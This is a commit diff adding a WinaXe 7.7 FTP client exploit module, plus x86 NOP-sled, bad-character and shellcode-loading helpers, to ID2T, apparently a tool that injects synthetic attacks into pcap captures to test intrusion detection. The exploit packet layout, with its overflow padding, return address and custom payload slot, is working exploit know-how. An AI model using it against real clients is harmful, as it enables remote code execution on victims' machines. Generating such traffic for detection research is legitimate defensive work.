Browse Source

Merge branch 'ftp-exploit-final' of stefan.schmidt/ID2T-toolkit into master

Carlos Garcia 6 years ago
parent
commit
dc5f7ab255
3 changed files with 361 additions and 0 deletions
  1. 2 0
      code/Attack/AttackParameters.py
  2. 259 0
      code/Attack/FTPWinaXeExploit.py
  3. 100 0
      code/ID2TLib/Utility.py

+ 2 - 0
code/Attack/AttackParameters.py

@@ -42,6 +42,8 @@ class Parameter(Enum):
     PROTOCOL_VERSION = 'protocol.version'
     HOSTING_VERSION = 'hosting.version'
     SOURCE_PLATFORM = 'src.platform'
+    CUSTOM_PAYLOAD = 'custom.payload'  # custom payload for ftp exploits
+    CUSTOM_PAYLOAD_FILE = 'custom.payload.file'  # file that contains custom payload for ftp exploits
 
 
 class ParameterTypes(Enum):

+ 259 - 0
code/Attack/FTPWinaXeExploit.py

@@ -0,0 +1,259 @@
+import logging
+
+from random import randint
+from lea import Lea
+from scapy.layers.inet import IP, Ether, TCP
+
+from Attack import BaseAttack
+from Attack.AttackParameters import Parameter as Param
+from Attack.AttackParameters import ParameterTypes
+from ID2TLib.Utility import update_timestamp, generate_source_port_from_platform, get_rnd_x86_nop, forbidden_chars,\
+    get_rnd_bytes, get_bytes_from_file
+
+logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
+# noinspection PyPep8
+
+ftp_port = 21
+
+
+class FTPWinaXeExploit(BaseAttack.BaseAttack):
+
+    def __init__(self):
+        """
+        Creates a new instance of the FTPWinaXeExploit.
+
+        """
+        # Initialize attack
+        super(FTPWinaXeExploit, self).__init__("FTPWinaXe Exploit", "Injects an WinaXe 7.7 FTP Exploit.",
+                                               "Privilege elevation")
+
+        # Define allowed parameters and their type
+        self.supported_params = {
+            Param.IP_SOURCE: ParameterTypes.TYPE_IP_ADDRESS,
+            Param.IP_DESTINATION: ParameterTypes.TYPE_IP_ADDRESS,
+            Param.MAC_SOURCE: ParameterTypes.TYPE_MAC_ADDRESS,
+            Param.MAC_DESTINATION: ParameterTypes.TYPE_MAC_ADDRESS,
+            Param.INJECT_AT_TIMESTAMP: ParameterTypes.TYPE_FLOAT,
+            Param.INJECT_AFTER_PACKET: ParameterTypes.TYPE_PACKET_POSITION,
+            Param.IP_SOURCE_RANDOMIZE: ParameterTypes.TYPE_BOOLEAN,
+            Param.PACKETS_PER_SECOND: ParameterTypes.TYPE_FLOAT,
+            Param.CUSTOM_PAYLOAD: ParameterTypes.TYPE_STRING,
+            Param.CUSTOM_PAYLOAD_FILE: ParameterTypes.TYPE_STRING
+        }
+
+    def init_params(self):
+        """
+        Initialize the parameters of this attack using the user supplied command line parameters.
+        Use the provided statistics to calculate default parameters and to process user
+        supplied queries.
+
+        """
+        # PARAMETERS: initialize with default values
+        # (values are overwritten if user specifies them)
+        most_used_ip_address = self.statistics.get_most_used_ip_address()
+        if isinstance(most_used_ip_address, list):
+            most_used_ip_address = most_used_ip_address[0]
+
+        # The most used IP class in background traffic
+        most_used_ip_class = self.statistics.process_db_query("most_used(ipClass)")
+        attacker_ip = self.generate_random_ipv4_address(most_used_ip_class)
+        self.add_param_value(Param.IP_DESTINATION, attacker_ip)
+        self.add_param_value(Param.MAC_DESTINATION, self.generate_random_mac_address())
+
+        random_ip_address = self.statistics.get_random_ip_address()
+        # victim should be valid and not equal to attacker
+        while not self.is_valid_ip_address(random_ip_address) or random_ip_address == attacker_ip:
+            random_ip_address = self.statistics.get_random_ip_address()
+
+        self.add_param_value(Param.IP_SOURCE, random_ip_address)
+        victim_mac = self.statistics.get_mac_address(random_ip_address)
+        if isinstance(victim_mac, list) and len(victim_mac) == 0:
+            victim_mac = self.generate_random_mac_address()
+        self.add_param_value(Param.MAC_SOURCE, victim_mac)
+        self.add_param_value(Param.PACKETS_PER_SECOND,
+                             (self.statistics.get_pps_sent(most_used_ip_address) +
+                              self.statistics.get_pps_received(most_used_ip_address)) / 2)
+        self.add_param_value(Param.INJECT_AFTER_PACKET, randint(0, self.statistics.get_packet_count()))
+        self.add_param_value(Param.IP_SOURCE_RANDOMIZE, 'False')
+        self.add_param_value(Param.CUSTOM_PAYLOAD, '')
+        self.add_param_value(Param.CUSTOM_PAYLOAD_FILE, '')
+
+    def generate_attack_pcap(self):
+        def get_ip_data(ip_address: str):
+            """
+            :param ip_address: The ip of which (packet-)data shall be returned
+            :return: MSS, TTL and window size values of the given IP
+            """
+            # Set MSS (Maximum Segment Size) based on MSS distribution of IP address
+            mss_dist = self.statistics.get_mss_distribution(ip_address)
+            if len(mss_dist) > 0:
+                mss_prob_dict = Lea.fromValFreqsDict(mss_dist)
+                mss_value = mss_prob_dict.random()
+            else:
+                mss_value = self.statistics.process_db_query("most_used(mssValue)")
+
+            # Set TTL based on TTL distribution of IP address
+            ttl_dist = self.statistics.get_ttl_distribution(ip_address)
+            if len(ttl_dist) > 0:
+                ttl_prob_dict = Lea.fromValFreqsDict(ttl_dist)
+                ttl_value = ttl_prob_dict.random()
+            else:
+                ttl_value = self.statistics.process_db_query("most_used(ttlValue)")
+
+            # Set Window Size based on Window Size distribution of IP address
+            win_dist = self.statistics.get_win_distribution(ip_address)
+            if len(win_dist) > 0:
+                win_prob_dict = Lea.fromValFreqsDict(win_dist)
+                win_value = win_prob_dict.random()
+            else:
+                win_value = self.statistics.process_db_query("most_used(winSize)")
+
+            return mss_value, ttl_value, win_value
+
+        def check_payload_len(payload_len: int, limit: int):
+            """
+            Checks if the len of the payload exceeds a given limit
+            :param payload_len: The length of the payload
+            :param limit: The limit of the length of the payload which is allowed
+            """
+
+            if payload_len > limit:
+                print("\nCustom payload too long: ", payload_len, " bytes. Should be a maximum of ", limit, " bytes.")
+                exit(1)
+
+
+        pps = self.get_param_value(Param.PACKETS_PER_SECOND)
+
+        # Timestamp
+        timestamp_next_pkt = self.get_param_value(Param.INJECT_AT_TIMESTAMP)
+        # store start time of attack
+        self.attack_start_utime = timestamp_next_pkt
+
+        # Initialize parameters
+        ip_victim = self.get_param_value(Param.IP_SOURCE)
+        ip_attacker = self.get_param_value(Param.IP_DESTINATION)
+        mac_victim = self.get_param_value(Param.MAC_SOURCE)
+        mac_attacker = self.get_param_value(Param.MAC_DESTINATION)
+
+        custom_payload = self.get_param_value(Param.CUSTOM_PAYLOAD)
+        custom_payload_len = len(custom_payload)
+        custom_payload_limit = 1000
+        check_payload_len(custom_payload_len, custom_payload_limit)
+
+        packets = []
+
+        # Create random victim if specified
+        if self.get_param_value(Param.IP_SOURCE_RANDOMIZE):
+            # The most used IP class in background traffic
+            most_used_ip_class = self.statistics.process_db_query("most_used(ipClass)")
+            ip_victim = self.generate_random_ipv4_address(most_used_ip_class, 1)
+            mac_victim = self.generate_random_mac_address()
+
+        # Get MSS, TTL and Window size value for victim/attacker IP
+        victim_mss_value, victim_ttl_value, victim_win_value = get_ip_data(ip_victim)
+        attacker_mss_value, attacker_ttl_value, attacker_win_value = get_ip_data(ip_attacker)
+
+        minDelay, maxDelay = self.get_reply_delay(ip_attacker)
+
+        attacker_seq = randint(1000, 50000)
+        victim_seq = randint(1000, 50000)
+
+        sport = generate_source_port_from_platform("win7")
+
+        # connection request from victim (client)
+        victim_ether = Ether(src=mac_victim, dst=mac_attacker)
+        victim_ip = IP(src=ip_victim, dst=ip_attacker, ttl=victim_ttl_value, flags='DF')
+        request_tcp = TCP(sport=sport, dport=ftp_port, window=victim_win_value, flags='S',
+                          seq=victim_seq, options=[('MSS', victim_mss_value)])
+        victim_seq += 1
+        syn = (victim_ether / victim_ip / request_tcp)
+        syn.time = timestamp_next_pkt
+        timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
+        packets.append(syn)
+
+        # response from attacker (server)
+        attacker_ether = Ether(src=mac_attacker, dst=mac_victim)
+        attacker_ip = IP(src=ip_attacker, dst=ip_victim, ttl=attacker_ttl_value, flags='DF')
+        reply_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='SA',
+                        window=attacker_win_value, options=[('MSS', attacker_mss_value)])
+        attacker_seq += 1
+        synack = (attacker_ether / attacker_ip / reply_tcp)
+        synack.time = timestamp_next_pkt
+        timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
+        packets.append(synack)
+
+        # acknowledgement from victim (client)
+        ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
+                      window=victim_win_value, options=[('MSS', victim_mss_value)])
+        ack = (victim_ether / victim_ip / ack_tcp)
+        ack.time = timestamp_next_pkt
+        timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
+        packets.append(ack)
+
+        # FTP exploit packet
+        ftp_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='PA',
+                        window=attacker_win_value, options=[('MSS', attacker_mss_value)])
+
+        characters = b'220'
+        characters += get_rnd_bytes(2065, forbidden_chars)
+        characters += b'\x96\x72\x01\x68'
+        characters += get_rnd_x86_nop(10, False, forbidden_chars)
+
+        custom_payload_file = self.get_param_value(Param.CUSTOM_PAYLOAD_FILE)
+
+        if custom_payload == '':
+            if custom_payload_file == '':
+                payload = get_rnd_bytes(custom_payload_limit, forbidden_chars)
+            else:
+                payload = get_bytes_from_file(custom_payload_file)
+                check_payload_len(len(payload), custom_payload_limit)
+                payload += get_rnd_x86_nop(custom_payload_limit - len(payload), False, forbidden_chars)
+        else:
+            encoded_payload = custom_payload.encode()
+            payload = get_rnd_x86_nop(custom_payload_limit - custom_payload_len, False, forbidden_chars)
+            payload += encoded_payload
+
+        characters += payload
+        characters += get_rnd_x86_nop(20, False, forbidden_chars)
+        characters += b'\r\n'
+
+        ftp_tcp.add_payload(characters)
+
+        ftp_buff = (attacker_ether / attacker_ip / ftp_tcp)
+        ftp_buff.time = timestamp_next_pkt
+        timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
+        packets.append(ftp_buff)
+        attacker_seq += len(ftp_tcp.payload)
+
+        # Fin Ack from attacker
+        fin_ack_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='FA',
+                        window=attacker_win_value, options=[('MSS', attacker_mss_value)])
+
+        fin_ack = (attacker_ether / attacker_ip / fin_ack_tcp)
+        fin_ack.time = timestamp_next_pkt
+        timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
+        packets.append(fin_ack)
+
+        # Ack from victim on FTP packet
+        ftp_ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
+                      window=victim_win_value, options=[('MSS', victim_mss_value)])
+        ftp_ack = (victim_ether / victim_ip / ftp_ack_tcp)
+        ftp_ack.time = timestamp_next_pkt
+        timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
+        packets.append(ftp_ack)
+
+        # Ack from victim on Fin/Ack of attacker
+        fin_ack_ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq+1, flags='A',
+                      window=victim_win_value, options=[('MSS', victim_mss_value)])
+        fin_ack_ack = (victim_ether / victim_ip / fin_ack_ack_tcp)
+        fin_ack_ack.time = timestamp_next_pkt
+        packets.append(fin_ack_ack)
+
+        # store end time of attack
+        self.attack_end_utime = packets[-1].time
+
+        # write attack packets to pcap
+        pcap_path = self.write_attack_pcap(sorted(packets, key=lambda pkt: pkt.time))
+
+        # return packets sorted by packet time_sec_start
+        return len(packets), pcap_path

+ 100 - 0
code/ID2TLib/Utility.py

@@ -1,6 +1,7 @@
 import ipaddress
 
 from random import randint, uniform
+from os import urandom
 from datetime import datetime
 from calendar import timegm
 from lea import Lea
@@ -9,6 +10,14 @@ platforms = {"win7", "win10", "winxp", "win8.1", "macos", "linux", "win8", "winv
 platform_probability = {"win7": 48.43, "win10": 27.99, "winxp": 6.07, "win8.1": 6.07, "macos": 5.94, "linux": 3.38,
                         "win8": 1.35, "winvista": 0.46, "winnt": 0.31}
 
+x86_nops = {b'\x90', b'\xfc', b'\xfd', b'\xf8', b'\xf9', b'\xf5', b'\x9b'}
+x86_pseudo_nops = {b'\x97', b'\x96', b'\x95', b'\x93', b'\x92', b'\x91', b'\x99', b'\x4d', b'\x48', b'\x47', b'\x4f',
+                   b'\x40', b'\x41', b'\x37', b'\x3f', b'\x27', b'\x2f', b'\x46', b'\x4e', b'\x98', b'\x9f', b'\x4a',
+                   b'\x44', b'\x42', b'\x43', b'\x49', b'\x4b', b'\x45', b'\x4c', b'\x60', b'\x0e', b'\x1e', b'\x50',
+                   b'\x55', b'\x53', b'\x51', b'\x57', b'\x52', b'\x06', b'\x56', b'\x54', b'\x16', b'\x58', b'\x5d',
+                   b'\x5b', b'\x59', b'\x5f', b'\x5a', b'\x5e', b'\xd6'}
+forbidden_chars = [b'\x00', b'\x0a', b'\x0d']
+
 
 def update_timestamp(timestamp, pps, delay=0):
     """
@@ -167,3 +176,94 @@ def get_rnd_boot_time(timestamp, platform="winxp"):
                                                365: 0.78125, 1461: 0.78125})
     timestamp -= randint(0, uptime_in_days.random()*86400)
     return timestamp
+
+
+def get_rnd_x86_nop(count=1, side_effect_free=False, char_filter=set()):
+    """
+    Generates a specified number of x86 single-byte (pseudo-)NOPs
+
+    :param count: The number of bytes to generate
+    :param side_effect_free: Determines whether NOPs with side-effects (to registers or the stack) are allowed
+    :param char_filter: A set of bytes which are forbidden to generate
+    :return: Random x86 NOP bytestring
+    """
+    result = b''
+    nops = x86_nops
+    if not side_effect_free:
+        nops |= x86_pseudo_nops
+
+    if not isinstance(char_filter, set):
+        char_filter = set(char_filter)
+    nops = list(nops-char_filter)
+
+    for i in range(0, count):
+        result += nops[randint(0, len(nops) - 1)]
+    return result
+
+
+def get_rnd_bytes(count=1, ignore=None):
+    """
+    Generates a specified number of random bytes while excluding unwanted bytes
+
+    :param count: Number of wanted bytes
+    :param ignore: The bytes, which should be ignored, as an array
+    :return: Random bytestring
+    """
+    if ignore is None:
+        ignore = []
+    result = b''
+    for i in range(0, count):
+        char = urandom(1)
+        while char in ignore:
+            char = urandom(1)
+        result += char
+    return result
+
+
+def get_bytes_from_file(filepath):
+    """
+    Converts the content of a file into its byte representation
+    The content of the file can either be a string or hexadecimal numbers/bytes (e.g. shellcode)
+    The file must have the keyword "str" or "hex" in its first line to specify the rest of the content
+    If the content is hex, whitespaces, backslashes, "x", quotation marks and "+" are removed
+    Example for a hexadecimal input file:
+
+        hex
+        "abcd ef \xff10\ff 'xaa' x \ ab"
+
+    Output: b'\xab\xcd\xef\xff\x10\xff\xaa\xab'
+
+    :param filepath: The path of the file from which to get the bytes
+    :return: The bytes of the file (either a byte representation of a string or the bytes contained in the file)
+    """
+    try:
+        file = open(filepath)
+        result_bytes = b''
+        header = file.readline().strip()
+        content = file.read()
+
+        if header == "hex":
+            content = content.replace(" ", "").replace("\n", "").replace("\\", "").replace("x", "").replace("\"", "")\
+                .replace("'", "").replace("+", "").replace("\r", "")
+            try:
+                result_bytes = bytes.fromhex(content)
+            except ValueError:
+                print("\nERROR: Content of file is not all hexadecimal.")
+                exit(1)
+        elif header == "str":
+            result_bytes = content.encode()
+        else:
+            print("\nERROR: Invalid header found: " + header + ". Try 'hex' or 'str' followed by endline instead.")
+            exit(1)
+
+        for forbidden_char in forbidden_chars:
+            if forbidden_char in result_bytes:
+                print("\nERROR: Forbidden character found in payload: ", forbidden_char)
+                exit(1)
+
+        file.close()
+        return result_bytes
+
+    except FileNotFoundError:
+        print("\nERROR: File not found: ", filepath)
+        exit(1)